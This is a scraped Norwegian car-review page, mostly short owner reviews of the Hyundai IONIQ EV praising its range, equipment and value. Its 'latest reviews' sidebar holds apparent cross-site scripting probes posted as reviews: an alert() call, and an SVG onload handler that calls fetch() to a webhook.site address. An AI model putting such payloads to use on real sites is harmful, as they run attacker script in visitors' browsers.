Bilvurderinger for
Har du en IONIQ EV (2016-)? Skriv en vurdering
Hyundai IONIQ EV generasjoner
Hyundai IONIQ EV (2022)
Jeg har hatt bilen i ett og et halvt år. Alt virker veldig gjennomtenkt, og kvaliteten er høy. Noe jeg liker spesielt godt er at jeg kan stille inn ladetiden fra appen. Når jeg ser hva strømprise
Hyundai IONIQ EV (2020)
Dette er et rent fremkomstmiddel uten kjøreglede med grei rekkevidde og mye utstyr til en billig penge! Grusom annenhånds- verdi og verdifall, lønner seg hvis du har den noen år og pendler i bompe
Hyundai IONIQ EV (2020)
Mye bil for pengene!!!
Hyundai IONIQ EV (2020)
Overraskende gode kjøreegenskaper. Ekstremt lettkjørt, lettbetjent skjerm og god betjening generelt. Svært strømeffektiv. Litt kjedelig eksteriør, men tidløst. KW /hk greier seg godt. Litt lite
Hyundai IONIQ EV (2020)
Meget fornøyd med denne bilen totalt sett, men savner hengerfeste.
Hyundai IONIQ EV (2020)
Hyundai IONIQ EV (2020)
Veldig bra og fin på alle måter
Hyundai IONIQ EV (2020)
Overraskende mye bil for pengene. Vi kjøpte denne siden det var den som kom nærmest en vanlig familiebil i størrelse med anstendig rekkevidde uten at vi måtte over halve millionen i innkjøpspris.
Hyundai IONIQ EV (2020)
Har til sammen kjørt 70.000 i min 2017 og nå 2018 modell. Selv om hurtiglading er vesentlig tregere kunne jeg kommet meg fra Trondheim til Oslo på en lading om jeg hadde lader 55 minutter istedenfo
Hyundai IONIQ EV (2020)
Fantastisk herlig bil med god plass til en hel familie på 4 (med barnestoler og 2 store katter). Varme i baksetet, minnefunskjon på førerstol, aktive lanekeeping (bilen snurrer rattet så du ikke k
Hyundai IONIQ EV (2020)
Meget fornøyd, lettkjørt og med lavt forbruk.
Hyundai IONIQ EV (2020)
Hyundai IONIQ EV (2020)
En meget god bil! Hurtigladingen er derimot ikke tilfredsstillende kontra andre elbiler. Maks 30 kw på maks på 50 kw lader er ikke godt nok, men siden 95% av ladinga gjøres på hjemmelader er det e
Hyundai IONIQ EV (2020)
Feilfri og godt utstyrt bil. Bruker nesten ikke strøm, selv på 110 motorvei.
Hyundai IONIQ EV (2020)
Fantastisk bil. God å kjøre, god rekkevidde, stille, lavt forbruk, rask, oversiktlig.
Hyundai IONIQ EV (2020)
God å kjøre, god plass i bilen og bagasjerom og topputstyrt. (Ikke takluke da).
Hyundai IONIQ EV (2020)
Veldig mye elbil for pengene. Dette er min femte elbil, og absolutt den beste så langt. Eneste som trekker ned på 2020 modellen er lav hurtigladehastighet, så for de som kjører mye langturer med
Hyundai IONIQ EV (2020)
Suveren bil, den har til og med varme i baksetet inkludert i prisen
Hyundai IONIQ EV (2019)
Billeg framkomstmiddel utan køyreglede. Relativt mykje bil for pengane, men det vert nok ikkje Hyundai igjen. Bilen framstår uferdig, men det er gjerne å forventa i denne prisklassen...?
Hyundai IONIQ EV (2019)
Veldig sparsommelig og god bil. Har to stykker! Tror ikke man kan få bedre Preis/Leistung...
Hyundai IONIQ EV (2019)
Flott utstyrt el-bil. God plass. Lettkjørt, drivstoffgjerrig. Lave servicekostnader. Topp service på merkeverksted.
Hyundai IONIQ EV (2019)
Genial bil. Har det meste av utstyr og veldig rimelig å bruke. Lavt strømforbruk. Enkel oppdatering over blu link. God plass innvendig.
Hyundai IONIQ EV (2019)
Er fortsatt positivt overrasket og veldig fornøyd, som jeg har vært siden kjøpsdato. Kan ikke se andre slå denne på total vs pris og kostnader.
Hyundai IONIQ EV (2019)
Veldig bra billig og driftssikker bil. Når ikke helt opp på kjøreglede, men det er forventet av denne type bil. Med teknikk pakke og klimatiserte skinn seter, er dette en godt utstyrt bil for peng
Hyundai IONIQ EV (2019)
Her har Hyundai klart det mange prøver seg på men svikter; en elbil som føles som en «skikkelig» bil! Med gode kjøreegenskaper, men uten disse spesielle elbil ekstremitetene som de fleste ender
Hyundai IONIQ EV (2019)
Perfekt for norske forhold. Rask lading gir i praksis lik rekkevidde på langtur som biler med mye større batteri
Hyundai IONIQ EV (2019)
Kjempebil. Har hatt den over ett år og helt uten feil. Veldig bra garanti. Utrolig mye bil spekket med utstyr til en utrolig pris. Veldig fornøyd. Så fornøyd at også kona kjøpte seg en. Så vi h
Hyundai IONIQ EV (2019)
Passer perfekt
Hyundai IONIQ EV (2019)
Elsker bilen min, Bella. Dette er min første bil, og jeg er ekstremt fornøyd med valget jeg gjorde. Bilen var verdt summen jeg ga for den, og jeg føler jeg får så mye igjen av å kjøre elbil. Io
Hyundai IONIQ EV (2019)
Fantastik bil, tror mange som kjøpte andre merker i denne klasse, skulle kjøpe Ioniq. Kunne ikke velge en bedre bil i denne prisen. Ingen feil etter 19000 km.
Hyundai IONIQ EV (2019)
Enkel bil. Lett å like. Stille. Lite batteri men lavt forbruk og rask lading
Hyundai IONIQ EV (2019)
Dette er en veldig god bil punktum.
Hyundai IONIQ EV (2019)
Skulle gjerne hatt litt lenger rekkevidde på en ellers perfekt bil for min bruk.
Hyundai IONIQ EV (2019)
Ingen feil på bilen etter kjørte 27000 km.
Hyundai IONIQ EV (2018)
kjøpte den lettere brukt for en billig penge. nesten like mye verd 5 år etter. flott bil til prisen. ingen utlegg på noe som helst. Særdeles. veldig fin og presis å kjøre. UPDATE: veldig fornøy
Hyundai IONIQ EV (2018)
Kanskje den beste bilen jeg har hatt sett opp mot prisen.
Hyundai IONIQ EV (2018)
Kort rekkevidde på vintern, elendig 12V batteri.
Hyundai IONIQ EV (2018)
Rimelig og svært god elbil som pga lavt forbruk og rask lading også egner seg godt til langturer. Generelt lite feil på disse, men pass på 12v batteriet. Teknikkpakke med takluke er svært godt ut
Hyundai IONIQ EV (2018)
Drømmebilen! Kjørt over 50000 på 2,5 år og ikke opplevd et eneste problem!
Hyundai IONIQ EV (2018)
Kjøper denne bilen neste gang, garantert!
Hyundai IONIQ EV (2018)
Hadde ikkje kjøpt igjen på for mange problemer med lader og batteri. Generelt dårlig kvalitetsfølelse med mye plast.
Hyundai IONIQ EV (2018)
Veldig fornøyd med bilen. Det føles tryggest å lade før jeg har kjørt 20 mil på sommertid, det har vært ok for meg. Det fulgte ikke med jekk og jeg bestilte en jekk av dem. Dobbelt så tung å
Hyundai IONIQ EV (2017)
Komfortabel bil på alle måter, og mye utstyr for pengene. Jeg kjøpte bilen ny i 2017, og skriver dette i 2025. Det jeg må trekke frem fra den perioden er: Dårlig på vinterføre (her snakker vi b
Hyundai IONIQ EV (2017)
Hatt bilen i 7 år uten noen feil
Hyundai IONIQ EV (2017)
Få feil og billig å eie!
Hyundai IONIQ EV (2017)
Nesten 5 år, og 85000 km, uten en feil! Utrolig gode seter, svært gjerrig på strømmen, og rask lading. Førte til at den ikke blir byttet ut med Ioniq 5, men at det er fossilet som blir byttet ut.
Hyundai IONIQ EV (2017)
Min første elbil har blitt en positiv opplevelse.
Hyundai IONIQ EV (2017)
Konge bil med herlig hurtigladingsfart
Hyundai IONIQ EV (2017)
En sann glede å kjøre. Rimelig i forhold til andre elbiler, lader i rallyfart, har ALT av utstyr.
Hyundai IONIQ EV (2017)
All skepsis til det å eige og bruke elbil vert gjort til skamme. Ioniq leverar på alle punkt - mest overraska over eit forbuk på ned mot 10.0 kWt/100km på langkøyring.
Velg en modell
Accent Atos Coupe Elantra Getz Grand Santa Fe H-1 H100 i10 i20 i20 Active i30 i30 N i40 Inster IONIQ 5 IONIQ 5 N IONIQ 6 IONIQ 9 IONIQ EV IONIQ Hybrid IONIQ Plug-in ix20 ix35 iX55 Kona Kona electric Kona hybrid Matrix Nexo Pony Santa Fe Sonata Terracan Trajet Tucson Veloster XGSiste vuderinger
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km
BMW 3-Serie (2012)
Hadde det vært et punkt som het eierglede så hadde jeg glatt gitt 10 av 10!! Bilen er vakker og tvers igjennom godt bygget! Nydelig å kjøre og det meste bærer preg av å være bygget med gode mat